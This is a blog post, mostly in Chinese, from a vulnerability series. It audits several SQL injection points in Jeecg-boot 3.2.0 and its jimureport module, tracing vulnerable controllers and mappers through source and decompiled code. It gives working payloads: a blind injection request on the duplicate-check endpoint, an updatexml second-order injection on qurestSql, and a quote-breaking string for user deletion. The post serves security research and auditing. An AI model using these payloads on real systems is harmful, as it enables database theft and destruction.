Skip to main content
  1. Posts/

Jeecg-boot Vulnerable Collection

··2682 words·
loading
·
Table of Contents
Vulnerable - This article is part of a series.
Part 5: This Article

Ref
#

Jeecg-boot V3.2.0
Jeecg-boot 漏洞总结及 POC

Vulnerables
#

SQL Injection
#

绕过过滤 SQL 注入
#

注入点 1
#

  • jeecg-boot/jeecg-boot-module-system/src/main/java/org/jeecg/modules/system/mapper/xml/SysDictMapper.xml
<!-- 分页查询字典表数据 -->
<select id="queryDictTablePageList" parameterType="Object" resultType="org.jeecg.common.system.vo.DictModel">
	select ${query.text} as "text",${query.code} as "value" from ${query.table}
	where 1 = 1
	<if test="query.keyword != null and query.keyword != ''">
		<bind name="bindKeyword" value="'%'+query.keyword+'%'"/>
		and (${query.text} like #{bindKeyword} or ${query.code} like #{bindKeyword})
	</if>
	<if test="query.codeValue != null and query.codeValue != ''">
		and ${query.code} = #{query.codeValue}
	</if>
</select>

可以看到有大量${param}注入点, 反向寻找接口函数和可注入的参数

  • org.jeecg.modules.system.mapper.SysDictMapper#queryDictTablePageList
    • org.jeecg.modules.system.service.impl.SysDictServiceImpl#queryDictTablePageList
      • org.jeecg.modules.system.controller.SysDictController#queryTableData
@Deprecated
@GetMapping("/queryTableData")
public Result<List<DictModel>> queryTableData(DictQuery query,
											  @RequestParam(name = "pageNo", defaultValue = "1") Integer pageNo,
											  @RequestParam(name = "pageSize", defaultValue = "10") Integer pageSize,
											  @RequestParam(value = "sign",required = false) String sign,HttpServletRequest request){
	Result<List<DictModel>> res = new Result<List<DictModel>>();
	// SQL注入漏洞 sign签名校验
	String dictCode = query.getTable()+","+query.getText()+","+query.getCode();
    SqlInjectionUtil.filterContent(dictCode);
	List<DictModel> ls = this.sysDictService.queryDictTablePageList(query,pageSize,pageNo);
	res.setResult(ls);
	res.setSuccess(true);
	return res;
}

public static void filterContent(String value) {
	if (value == null || "".equals(value)) {
		return;
	}
	// 统一转为小写
	value = value.toLowerCase();
	//SQL注入检测存在绕过风险
	value = value.replaceAll("/\\*.*\\*/","");

	String[] xssArr = XSS_STR.split("\\|");
	for (int i = 0; i < xssArr.length; i++) {
		if (value.indexOf(xssArr[i]) > -1) {
			log.error("请注意,存在SQL注入关键词---> {}", xssArr[i]);
			log.error("请注意,值可能存在SQL注入风险!---> {}", value);
			throw new RuntimeException("请注意,值可能存在SQL注入风险!--->" + value);
		}
	}
	if(Pattern.matches(SHOW_TABLES, value)){
		throw new RuntimeException("请注意,值可能存在SQL注入风险!--->" + value);
	}
	return;
}

注入点 2
#

  • .m2/repository/org/jeecgframework/boot/hibernate-re/3.2.0-beta/hibernate-re-3.2.0-beta.jar!/org/jeecg/modules/online/cgreport/a/b.class
@GetMapping({"/parseSql"})
    public Result<?> a(@RequestParam(name = "sql") String var1, @RequestParam(name = "dbKey",required = false) String var2) {
        if (StringUtils.isNotBlank(var2)) {
            DynamicDataSourceModel var3 = this.sysBaseAPI.getDynamicDbSourceByCode(var2);
            if (var3 == null) {
                return Result.error("数据源不存在");
            }
        }

        HashMap var13 = new HashMap();
        ArrayList var4 = new ArrayList();
        ArrayList var5 = new ArrayList();
        Object var6 = null;
        Object var7 = null;

        try {
            this.baseCommonService.addLog("Online报表,sql解析:" + var1, 2, 2);
            SqlInjectionUtil.specialFilterContentForOnlineReport(var1); // 弱过滤器
            List var14 = this.onlCgreportHeadService.getSqlFields(var1, var2);
            List var15 = this.onlCgreportHeadService.getSqlParams(var1);
            int var8 = 1;

            for(String var19 : var14) {
                OnlCgreportItem var11 = new OnlCgreportItem();
                var11.setFieldName(var19.toLowerCase());
                var11.setFieldTxt(var19);
                var11.setIsShow(1);
                var11.setOrderNum(var8);
                var11.setId(org.jeecg.modules.online.cgform.e.b.a());
                var11.setFieldType("String");
                var4.add(var11);
                ++var8;
            }

            for(String var20 : var15) {
                OnlCgreportParam var21 = new OnlCgreportParam();
                var21.setParamName(var20);
                var21.setParamTxt(var20);
                var5.add(var21);
            }

            var13.put("fields", var4);
            var13.put("params", var5);
        } catch (Exception var12) {
            a.error(var12.getMessage(), var12);
            String var9 = "解析失败,";
            int var10 = var12.getMessage().indexOf("Connection refused: connect");
            if (var10 != -1) {
                var9 = var9 + "数据源连接失败.";
            } else if (var12.getMessage().indexOf("值可能存在SQL注入风险") != -1) {
                var9 = var9 + "SQL可能存在SQL注入风险.";
            } else if (var12.getMessage().indexOf("该报表sql没有数据") != -1) {
                var9 = var9 + "报表sql查询数据为空,无法解析字段.";
            } else if (var12.getMessage().indexOf("SqlServer不支持SQL内排序") != -1) {
                var9 = var9 + "SqlServer不支持SQL内排序.";
            } else {
                var9 = var9 + "SQL语法错误.";
            }

            return Result.error(var9);
        }

        return Result.ok(var13);
    }

经过一个简单的过滤器后进入 Service 层

  • .m2/repository/org/jeecgframework/boot/hibernate-re/3.2.0-beta/hibernate-re-3.2.0-beta.jar!/org/jeecg/modules/online/cgreport/service/a/c.class
public List<String> getSqlFields(String sql, String dbKey) throws SQLException, a {
    Object var3 = null;
    List var4;
    if (StringUtils.isNotBlank(dbKey)) {
        var4 = this.a(sql, dbKey);
    } else {
        var4 = this.a(sql, (String)null);
    }

    return var4;
}

private List<String> a(String var1, String var2) throws SQLException, a {
        if (oConvertUtils.isEmpty(var1)) {
            return null;
        } else {
            var1 = var1.replace("[^><]=", " = ");
            var1 = var1.trim();
            if (var1.endsWith(";")) {
                var1 = var1.substring(0, var1.length() - 1);
            }

            var1 = QueryGenerator.convertSystemVariables(var1);
            var1 = org.jeecg.modules.online.cgreport.c.c.a(var1);
            Set var3 = null;
            if (StringUtils.isNotBlank(var2)) {
                DynamicDataSourceModel var4 = DataSourceCachePool.getCacheDynamicDataSourceModel(var2);
                if (ReUtil.contains(" order\\s+by ", var1.toLowerCase()) && "3".equalsIgnoreCase(var4.getDbType())) {
                    throw new JeecgBootException("SqlServer不支持SQL内排序!");
                }

                Map var5 = org.jeecg.modules.online.cgreport.c.c.a(var2, var1);
                if (var5 == null) {
                    if (!var1.contains("*")) {
                        try {
                            var5 = org.jeecg.modules.online.cgreport.c.b.a(var1);
                        } catch (Exception var9) {
                        }
                    }

                    if (var5 == null) {
                        throw new JeecgBootException("该报表sql没有数据");
                    }
                }

                var3 = var5.keySet();
            } else {
                String var14 = e.getDatabaseType();
                if (ReUtil.contains(" order\\s+by ", var1.toLowerCase()) && "SQLSERVER".equalsIgnoreCase(var14)) {
                    throw new JeecgBootException("SqlServer不支持SQL内排序!");
                }

                IPage var15 = this.mapper.selectPageBySql(new Page(1L, 1L), var1);
                List var6 = var15.getRecords();
                if (var6.size() < 1) {
                    if (!var1.contains("*")) {
                        try {
                            var3 = org.jeecg.modules.online.cgreport.c.b.a(var1).keySet();
                        } catch (Exception var8) {
                        }
                    }

                    if (var3 == null) {
                        throw new JeecgBootException("该报表sql没有数据");
                    }
                } else {
                    var3 = ((Map)var6.get(0)).keySet();
                }
            }

            if (var3 != null) {
                var3.remove("ROW_ID");
            }

            return new ArrayList(var3);
        }
    }

依然是一堆复杂的逻辑, 后续再补充

注入点 3
#

  • jeecg-boot/jeecg-boot-module-system/src/main/java/org/jeecg/modules/system/controller/DuplicateCheckController.java
@RequestMapping(value = "/check", method = RequestMethod.GET)
	@ApiOperation("重复校验接口")
	public Result<String> doDuplicateCheck(DuplicateCheckVo duplicateCheckVo, HttpServletRequest request) {
		Long num = null;

		log.info("----duplicate check------:"+ duplicateCheckVo.toString());
		//关联表字典(举例:sys_user,realname,id)
		//SQL注入校验(只限制非法串改数据库)
		final String[] sqlInjCheck = {duplicateCheckVo.getTableName(),duplicateCheckVo.getFieldName()};
		SqlInjectionUtil.filterContent(sqlInjCheck);
		// update-begin-author:taoyan date:20211227 for: JTC-25 【online报表】oracle 操作问题 录入弹框啥都不填直接保存 ①编码不是应该提示必填么?②报错也应该是具体文字提示,不是后台错误日志
		if(StringUtils.isEmpty(duplicateCheckVo.getFieldVal())){
			Result rs = new Result();
			rs.setCode(500);
			rs.setSuccess(true);
			rs.setMessage("数据为空,不作处理!");
			return rs;
		}
		//update-begin-author:taoyan date:20220329 for: VUEN-223【安全漏洞】当前被攻击的接口
		String checkSql = duplicateCheckVo.getTableName() + SymbolConstant.COMMA + duplicateCheckVo.getFieldName() + SymbolConstant.COMMA;
		if(!dictQueryBlackListHandler.isPass(checkSql)){
			return Result.error(dictQueryBlackListHandler.getError());
		}
		//update-end-author:taoyan date:20220329 for: VUEN-223【安全漏洞】当前被攻击的接口
		// update-end-author:taoyan date:20211227 for: JTC-25 【online报表】oracle 操作问题 录入弹框啥都不填直接保存 ①编码不是应该提示必填么?②报错也应该是具体文字提示,不是后台错误日志
		if (StringUtils.isNotBlank(duplicateCheckVo.getDataId())) {
			// [2].编辑页面校验
			num = sysDictMapper.duplicateCheckCountSql(duplicateCheckVo);
		} else {
			// [1].添加页面校验
			num = sysDictMapper.duplicateCheckCountSqlNoDataId(duplicateCheckVo);
		}

		if (num == null || num == 0) {
			// 该值可用
			return Result.ok("该值可用!");
		} else {
			// 该值不可用
			log.info("该值不可用,系统中已存在!");
			return Result.error("该值不可用,系统中已存在!");
		}
	}

checkSql 可被绕过

GET /jeecg-boot/sys/duplicate/check?tableName=v3_hello&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(0))&fieldVal=1&dataId=asd HTTP/1.1

jmReport SQL 注入
#

  • .m2/repository/org/jeecgframework/jimureport/jimureport-spring-boot-starter/1.5.0/jimureport-spring-boot-starter-1.5.0.jar!/org/jeecg/modules/jmreport/desreport/a/a.class

注入点 1
#

@PostMapping({"/qurestSql"})
public Result<?> b(@RequestBody JSONObject var1, HttpServletRequest var2) {
    String var3 = var1.getString("apiSelectId");
    var1.remove("apiSelectId");
    JmReportDb var4 = this.reportDbService.getById(var3);
    List var5 = this.reportDbService.qurestechSql(var4, var1);
    this.jmReportDesignService.replaceDbCode(var4, var5);
    return Result.OK(e.b(var5));
}

参数 apiSelectId 会从jimu_report_db表中通过id参数查询数据,id参数未过滤:

  • JmReportDb var4 = this.reportDbService.getById(var3);
    • org.jeecg.modules.jmreport.desreport.service.a.i#getById
      • org.jeecg.modules.jmreport.desreport.dao.JimuReportDbDao#get
@Sql("SELECT * FROM jimu_report_db WHERE ID = :id")
JmReportDb get(@Param("id") String var1);

jimu_report_db表中id值为1272834687525482497和1290104038414721025等的db_dyn_sql列是sql语句,且引用了id参数,这会导致二次注入

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1

{"apiSelectId":"1290104038414721025","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}

注入点 2
#

@DeleteMapping({"/deleteFieldByIds"})
@JimuLoginRequired
public Result<?> f(HttpServletRequest var1, @RequestBody String var2) {
    a.debug("============deleParams==========");
    this.jmReportDbFieldService.deleteByIds(var2);
    return Result.OK();
}
  • org.jeecg.modules.jmreport.desreport.service.IJmReportDbFieldService#deleteByIds
    • org.jeecg.modules.jmreport.desreport.service.a.g#deleteFieldByIds
      • org.jeecg.modules.jmreport.desreport.dao.JimuReportDbFieldDao#deleteBatchIds
@Sql("DELETE FROM jimu_report_db_field WHERE ID in(:ids)")
void deleteBatchIds(@Param("ids") List var1);

同样全过程无过滤

弃用接口注入
#

  • .m2/repository/org/jeecgframework/boot/hibernate-re/3.2.0-beta/hibernate-re-3.2.0-beta.jar!/org/jeecg/modules/online/cgreport/a/a.class
@GetMapping({"/getReportDictList"})
public Result<?> a(@RequestParam("sql") String var1, @RequestParam(name = "keyword",required = false) String var2) {
    List var3 = this.onlCgreportHeadService.queryDictSelectData(var1, var2);
    return Result.ok(var3);
}
/** @deprecated */
@Deprecated
public List<DictModel> queryDictSelectData(String sql, String keyword) {
    Object var3 = new ArrayList();
    Page var4 = new Page();
    var4.setSearchCount(false);
    var4.setCurrent(1L);
    var4.setSize(10L);
    sql = sql.trim();
    int var5 = sql.lastIndexOf(";");
    if (var5 == sql.length() - 1) {
        sql = sql.substring(0, var5);
    }

    if (keyword != null && !"".equals(keyword)) {
        String var6 = " like '%" + keyword + "%'";
        sql = "select * from (" + sql + ") t where t.value " + var6 + " or " + "t.text" + var6;
    }

    IPage var10 = ((OnlCgreportHeadMapper)this.baseMapper).selectPageBySql(var4, sql);
    List var7 = var10.getRecords();
    var7 = (List)var7.stream().filter((var0) -> var0 != null).collect(Collectors.toList());
    if (var7 != null && var7.size() != 0) {
        String var8 = JSON.toJSONString(var7);
        var3 = JSON.parseArray(var8, DictModel.class);
    }

    return (List<DictModel>)var3;
}

SQL 字符串拼接

用户删除注入
#

  • jeecg-boot/jeecg-boot-module-system/src/main/java/org/jeecg/modules/system/controller/SysUserController.java
@RequestMapping(value = "/deleteRecycleBin", method = RequestMethod.DELETE)
public Result deleteRecycleBin(@RequestParam("userIds") String userIds) {
    if (StringUtils.isNotBlank(userIds)) {
        sysUserService.removeLogicDeleted(Arrays.asList(userIds.split(",")));
    }
    return Result.ok("删除成功");
}
  • jeecg-boot/jeecg-boot-module-system/src/main/java/org/jeecg/modules/system/service/impl/SysUserServiceImpl.java
@Override
@Transactional(rollbackFor = Exception.class)
public boolean removeLogicDeleted(List<String> userIds) {
	String ids = String.format("'%s'", String.join("','", userIds));
	// 1. 删除用户
	int line = userMapper.deleteLogicDeleted(ids);
	// 2. 删除用户部门关系
	line += sysUserDepartMapper.delete(new LambdaQueryWrapper<SysUserDepart>().in(SysUserDepart::getUserId, userIds));
	//3. 删除用户角色关系
	line += sysUserRoleMapper.delete(new LambdaQueryWrapper<SysUserRole>().in(SysUserRole::getUserId, userIds));
	//4.同步删除第三方App的用户
	try {
		dingtalkService.removeThirdAppUser(userIds);
		wechatEnterpriseService.removeThirdAppUser(userIds);
	} catch (Exception e) {
		log.error("同步删除第三方App的用户失败:", e);
	}
	//5. 删除第三方用户表(因为第4步需要用到第三方用户表,所以在他之后删)
	line += sysThirdAccountMapper.delete(new LambdaQueryWrapper<SysThirdAccount>().in(SysThirdAccount::getSysUserId, userIds));

	return line != 0;
}
  • jeecg-boot/jeecg-boot-module-system/src/main/java/org/jeecg/modules/system/mapper/xml/SysUserMapper.xml
<!-- 彻底删除被逻辑删除的用户 -->
<delete id="deleteLogicDeleted">
	DELETE FROM sys_user WHERE del_flag = 1 AND id IN (${userIds})
</delete>

只添加了简单的单引号环绕, 可通过 1') OR 1=1 -- 注入

Vulnerable - This article is part of a series.
Part 5: This Article

Related